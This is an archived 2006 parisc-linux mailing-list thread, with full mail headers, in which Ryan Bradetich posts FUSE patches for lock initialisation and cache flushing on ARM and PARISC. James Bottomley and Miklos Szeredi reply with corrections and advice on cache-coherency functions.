	b=HcB1RyVyrfIeNqGhXr0+Zb5BRBAAuQtSpJ0HzUXbpQnqJkj1+nrFQA0zMVfN9kdi7m3yrhum0XUpbu6jQfOoNo5Cn6AVubqcHE8cH43tUm/eAdoGxQBXKbTDT3eB28vfVA3YdLBET5BGVYMyrOxeiX1aGk9KSmjm+CKuIN+LS9A=
Original-Received: by 10.65.75.1 with SMTP id c1mr75805qbl;
	Sat, 01 Apr 2006 01:22:20 -0800 (PST)
Original-Received: by 10.64.47.8 with HTTP; Sat, 1 Apr 2006 01:22:20 -0800 (PST)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a3AbdQACbUko7+nGPWgndHJkZ2hlN0pI
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23520

------=_Part_37864_1435824.1143883340132
Content-Type: multipart/alternative; 
	boundary="----=_Part_37865_6263148.1143883340132"

------=_Part_37865_6263148.1143883340132
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hello all,

I spend the last couple days tracking down why FUSE would not work on the
ARM and PARISC platform ... With the hints from  James Bottomley in the
"Example filesystems fail to init on parisc" thread and a fair amount of
persistence I was got a patch that works.

The patch really fixes two bugs:

1.  The rwlock tree_lock  in struct fuse was not properly initialized using
pthread_rwlock_init().    This normally works on other archs (besides
PARISC) since the lock can be initialized to 0 values, this is not true on
the PARISC platform ... these locks must be initialized properly to work on
PARISC.

2. I had to add an additional cache flush in the fuse_copy_do function.  On
both ARM and PARISC, the data was corrupted unless cache is flushed first.
Unfortunately I hit it with a very big hammer (flush_cache_all) ... I am
hoping someone more familiar with the caches will suggest a better flush
function to use.  I tried to use the flush_kernel_dcache_page and
flush_dcache_page functions without any luck :(


Hopefully this work will enable FUSE to work on these architectures in the
near future.

Thanks,

- Ryan

------=_Part_37865_6263148.1143883340132
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hello all,<br><br>I spend the last couple days tracking down why FUSE would=
 not work on the ARM and PARISC platform ... With the hints from&nbsp; Jame=
s Bottomley in the &quot;Example filesystems fail to init on parisc&quot; t=
hread and a fair amount of persistence I was got a patch that works.&nbsp;=
=20
<br><br>The patch really fixes two bugs:<br><br>1.&nbsp; The rwlock tree_lo=
ck&nbsp; in struct fuse was not properly initialized using pthread_rwlock_i=
nit().&nbsp;&nbsp;&nbsp; This normally works on other archs (besides PARISC=
) since the lock can be initialized to 0 values, this is not true on the PA=
RISC platform ... these locks must be initialized properly to work on PARIS=
C.
<br><br>2. I had to add an additional cache flush in the fuse_copy_do funct=
ion.&nbsp; On both ARM and PARISC, the data was corrupted unless cache is f=
lushed first.&nbsp; Unfortunately I hit it with a very big hammer (flush_ca=
che_all) ... I am hoping someone more familiar with the caches will suggest=
 a better flush function to use.&nbsp; I tried to use the flush_kernel_dcac=
he_page and flush_dcache_page functions without any luck :(
<br><br><br>Hopefully this work will enable FUSE to work on these architect=
ures in the near future.<br><br>Thanks,<br><br>- Ryan<br>

------=_Part_37865_6263148.1143883340132--

------=_Part_37864_1435824.1143883340132
Content-Type: text/x-patch; name=fuse-kernel.patch; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_elhqhfpe
Content-Disposition: attachment; filename="fuse-kernel.patch"

--- fuse-2.6.0-pre2/kernel/dev.c.orig	2006-04-01 00:40:28.000000000 -0800
+++ fuse-2.6.0-pre2/kernel/dev.c	2006-04-01 00:40:43.000000000 -0800
@@ -522,6 +522,7 @@
 {
 	unsigned ncpy = min(*size, cs->len);
 	if (val) {
+		flush_cache_all();
 		if (cs->write)
 			memcpy(cs->buf, *val, ncpy);
 		else

------=_Part_37864_1435824.1143883340132
Content-Type: text/x-patch; name=fuse-lib.patch; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_elhqi305
Content-Disposition: attachment; filename="fuse-lib.patch"

--- fuse-2.6.0-pre2/lib/fuse.c.orig	2006-04-01 00:54:32.000000000 -0800
+++ fuse-2.6.0-pre2/lib/fuse.c	2006-04-01 00:47:48.000000000 -0800
@@ -2068,6 +2068,7 @@
     }
 
     mutex_init(&f->lock);
+    pthread_rwlock_init(&f->tree_lock, PTHREAD_RWLOCK_PREFER_READER_NP);
     memcpy(&f->op, op, op_size);
     f->compat = compat;
 

------=_Part_37864_1435824.1143883340132
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_37864_1435824.1143883340132--



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Fixs to work on ARM and PARIC platforms.
Date: Sat, 01 Apr 2006 09:46:35 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <1143906395.3368.10.camel__21941.4684958339$1416624038$gmane$org@mulgrave.il.steeleye.com>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624038 18771 80.91.229.3 (22 Nov 2014 02:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:38 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@gmail.com>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 15:46:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 01 Apr 2006 17:46:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E7FF7D6B3;
	Sat,  1 Apr 2006 08:46:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16698-06; Sat, 1 Apr 2006 08:46:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7D4B7D6B5;
	Sat,  1 Apr 2006 08:46:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96A707D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 08:46:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16701-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Apr 2006 08:46:45 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id BAD607D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 08:46:45 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k31Fka212688; Sat, 1 Apr 2006 10:46:36 -0500
In-Reply-To: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XZccdUxCIyd18PqQe2draGxaa2FkZhXr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23521

On Sat, 2006-04-01 at 01:22 -0800, Ryan Bradetich wrote:
> --- fuse-2.6.0-pre2/kernel/dev.c.orig   2006-04-01 00:40:28.000000000
> -0800
> +++ fuse-2.6.0-pre2/kernel/dev.c        2006-04-01 00:40:43.000000000
> -0800

Is this path just wrong and you meant fs/fuse/dev.c?

In which case, the placement of the flush and the fact that
flush_dcache_page() doesn't bring coherency indicates one of the input
pages is incoherent at the user level.  So it looks like you have an
anonymous page you haven't called get_user_pages() on .... and by the
way, you have checked that you're actually using the kernel with the
parisc implementations of flush_kernel_dcache_page() and
flush_anon_page()?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [fuse-devel] [PATCH] Fixs to work on ARM and
	PARIC platforms.
Date: Sat, 01 Apr 2006 18:35:38 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <E1FPj4c-0001ay-00__35941.4216284224$1416624038$gmane$org@dorka.pomaz.szeredi.hu>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624038 18777 80.91.229.3 (22 Nov 2014 02:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:38 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: rbradetich@gmail.com
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 16:36:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 01 Apr 2006 18:36:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D68207D6D2;
	Sat,  1 Apr 2006 09:36:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17050-09; Sat, 1 Apr 2006 09:36:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 075047D6AC;
	Sat,  1 Apr 2006 09:36:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A58AE7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 09:36:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17050-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Apr 2006 09:36:20 -0700 (MST)
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by free.linux.hp.com (Postfix) with ESMTP id AE4447D671
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 09:36:19 -0700 (MST)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FPj4c-0001ay-00; Sat, 01 Apr 2006 18:35:38 +0200
In-reply-to: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	(rbradetich@gmail.com)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cMBFLD0/TlIvsreQeGhrSVVGU2poZZkv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23522

> 1.  The rwlock tree_lock  in struct fuse was not properly initialized using
> pthread_rwlock_init().    This normally works on other archs (besides
> PARISC) since the lock can be initialized to 0 values, this is not true on
> the PARISC platform ... these locks must be initialized properly to work on
> PARISC.

Good find, thanks.

The initialization should actually look like this:

  pthread_rwlock_init(&f->tree_lock, NULL);

I can't imagine how your version managed to work...

> 2. I had to add an additional cache flush in the fuse_copy_do function.  On
> both ARM and PARISC, the data was corrupted unless cache is flushed first.
> Unfortunately I hit it with a very big hammer (flush_cache_all) ... I am
> hoping someone more familiar with the caches will suggest a better flush
> function to use.  I tried to use the flush_kernel_dcache_page and
> flush_dcache_page functions without any luck :(

You should try using the parisc patchset from:

   http://cvs.parisc-linux.org/download/linux-2.6/

and replace flush_dcache_page() with flush_kernel_dcache_page() in
FUSE source.

Thanks,
Miklos
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM and
	PARIC platforms.
Date: Sat, 01 Apr 2006 18:51:10 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <E1FPjJe-0001cw-00__25118.7718626626$1416624038$gmane$org@dorka.pomaz.szeredi.hu>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624038 18781 80.91.229.3 (22 Nov 2014 02:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:38 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 16:51:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 01 Apr 2006 18:51:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70C437D6BC;
	Sat,  1 Apr 2006 09:51:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17419-09; Sat, 1 Apr 2006 09:51:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC2B97D6BE;
	Sat,  1 Apr 2006 09:51:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86A537D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 09:51:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17428-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Apr 2006 09:51:45 -0700 (MST)
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by free.linux.hp.com (Postfix) with ESMTP id 8E06B7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 09:51:45 -0700 (MST)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FPjJe-0001cw-00; Sat, 01 Apr 2006 18:51:10 +0200
In-reply-to: <1143906395.3368.10.camel@mulgrave.il.steeleye.com> (message from
	James Bottomley on Sat, 01 Apr 2006 09:46:35 -0600)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nZ0Zcx0TbGI0oKaDYmRnaHVncmZ1ZpxN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23523

> On Sat, 2006-04-01 at 01:22 -0800, Ryan Bradetich wrote:
> > --- fuse-2.6.0-pre2/kernel/dev.c.orig   2006-04-01 00:40:28.000000000
> > -0800
> > +++ fuse-2.6.0-pre2/kernel/dev.c        2006-04-01 00:40:43.000000000
> > -0800
> 
> Is this path just wrong and you meant fs/fuse/dev.c?

Yeah.  It's the out-of-tree version, which closely resembles the
in-tree one.

> In which case, the placement of the flush and the fact that
> flush_dcache_page() doesn't bring coherency indicates one of the input
> pages is incoherent at the user level.  So it looks like you have an
> anonymous page you haven't called get_user_pages() on .... and by the
> way, you have checked that you're actually using the kernel with the
> parisc implementations of flush_kernel_dcache_page() and
> flush_anon_page()?

BTW, these seem to be needed for ARM too.  Do you have any idea who I
should bug about this?  The MAINTAINERS file is far from clear on this
point.

Thanks,
Miklos
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Sat, 01 Apr 2006 16:38:04 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <1143931084.3368.18.camel__22459.7846194685$1416624039$gmane$org@mulgrave.il.steeleye.com>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624039 18784 80.91.229.3 (22 Nov 2014 02:40:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:39 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 22:38:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 02 Apr 2006 00:38:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 646C17D6D4;
	Sat,  1 Apr 2006 15:38:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19623-06; Sat, 1 Apr 2006 15:38:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5E717D6DD;
	Sat,  1 Apr 2006 15:38:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F9007D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 15:38:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19623-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Apr 2006 15:38:44 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 3022E7D684
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 15:38:44 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k31Mc4230915; Sat, 1 Apr 2006 17:38:04 -0500
In-Reply-To: <E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nGlad0FfODBpsLWUfGRMO041Ji9SWtKH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23524

On Sat, 2006-04-01 at 18:51 +0200, Miklos Szeredi wrote:
> BTW, these seem to be needed for ARM too.  Do you have any idea who I
> should bug about this?  The MAINTAINERS file is far from clear on this
> point.

Erm, not just arm.  The anon page problem looks like it might afflict
other incoherent architectures (like sparc and ppc); it just depends
whether their flush_dcache_page() accidentally flushes anonymous pages
or not.

For arm, it does look like the arm list won't accept postings, so I'd
send patches to Russell King <rmk@arm.linux.org.uk>

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sat, 01 Apr 2006 08:30:52 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <1143901853.3368.0.camel@mulgrave.il.steeleye.com>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	 <20060331155448.GP13590@parisc-linux.org>
	 <20060401070236.GC23508@colo.lackof.org> <200604010935.42819.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624039 18786 80.91.229.3 (22 Nov 2014 02:40:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 14:30:57 -0000
